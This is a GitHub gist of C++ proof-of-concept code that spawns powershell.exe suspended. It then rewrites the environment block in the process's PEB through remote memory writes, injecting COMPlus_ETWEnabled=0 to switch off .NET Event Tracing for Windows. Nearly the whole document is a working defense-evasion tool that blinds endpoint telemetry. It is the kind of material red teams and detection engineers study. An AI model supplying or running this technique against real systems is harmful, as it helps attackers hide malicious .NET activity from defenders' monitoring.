Skip to content

Instantly share code, notes, and snippets.

@xpn
Created June 6, 2020 21:25
Show Gist options
  • Save xpn/64e5b6f7ad370c343e3ab7e9f9e22503 to your computer and use it in GitHub Desktop.
Save xpn/64e5b6f7ad370c343e3ab7e9f9e22503 to your computer and use it in GitHub Desktop.
A very rough x64 POC for spoofing environment variables (similar to argument spoofing) with a focus on setting the COMPlus_ETWEnabled=0 var used to disable ETW in .NET
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET.
//
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables,
// and then resuming the process.
//
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)
#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_PARAM_LEN 43
#define SPAWN_PROCESS "powershell.exe"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
// Taken from Process Hacker with thanks -> https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h
#define DOS_MAX_COMPONENT_LENGTH 255
#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5)
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003
typedef struct _RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _RTL_USER_PROCESS_PARAMETERS_PH
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG_PTR EnvironmentSize;
ULONG_PTR EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
UNICODE_STRING RedirectionDllName; // REDSTONE4
UNICODE_STRING HeapPartitionName; // 19H1
ULONG_PTR DefaultThreadpoolCpuSetMasks;
ULONG DefaultThreadpoolCpuSetMaskCount;
} RTL_USER_PROCESS_PARAMETERS_PH;
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char** canttrustthis, char **canttrustthiseither)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS_PH* parameters;
char* origEnv;
printf("EnvVar Spoofing Example by @_xpn_\n\n");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)SPAWN_PROCESS,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL, // No env variables set on load so they will be taken from the parent (us).
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
// Grab the ProcessParameters from PEB
parameters = (RTL_USER_PROCESS_PARAMETERS_PH*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS_PH)
);
// Read out the default env vars used
origEnv = (char*)readProcessMemory(
pi.hProcess,
parameters->Environment,
parameters->EnvironmentSize);
if (origEnv == NULL) {
printf("[!] Error: Could not read current environment variables\n");
return 1;
}
// Allocate a new env region of memory in the target process so we can append our new values
char *newMem = (char*)VirtualAllocEx(pi.hProcess, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (newMem == NULL) {
printf("[!] Error: Could not allocate memory in remote process\n");
return 1;
}
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, Environment),
(void*)&newMem,
8
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update Environment ptr\n");
return 1;
}
// Copy env into a new buffer
char* newEnv = (char*)malloc(parameters->EnvironmentSize + INJECT_PARAM_LEN);
if (newEnv == NULL) {
printf("[!] Error: Out of memory\n");
return 1;
}
// Copy over existing env vars
memset(newEnv, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN);;
memcpy(newEnv, origEnv, parameters->EnvironmentSize);
// Work backwards to find the last env var and append
for (int i = 1; i < parameters->EnvironmentSize; i++) {
if (newEnv[parameters->EnvironmentSize - i] != '\0') {
// Found the last character in the size, we need to copy here
memcpy(newEnv + parameters->EnvironmentSize - i + 4, INJECT_PARAM, INJECT_PARAM_LEN);
break;
}
}
// Set our new length
parameters->EnvironmentSize += INJECT_PARAM_LEN;
// Set the actual vars we are looking to use
success = writeProcessMemory(pi.hProcess, newMem, (void*)newEnv, parameters->EnvironmentSize);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update environment vars\n");
return 1;
}
// Update the length of our env vars
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, EnvironmentSize),
(void*)&parameters->EnvironmentSize,
sizeof(parameters->EnvironmentSize)
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update environment var length\n");
return 1;
}
// Resume thread execution
ResumeThread(pi.hThread);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment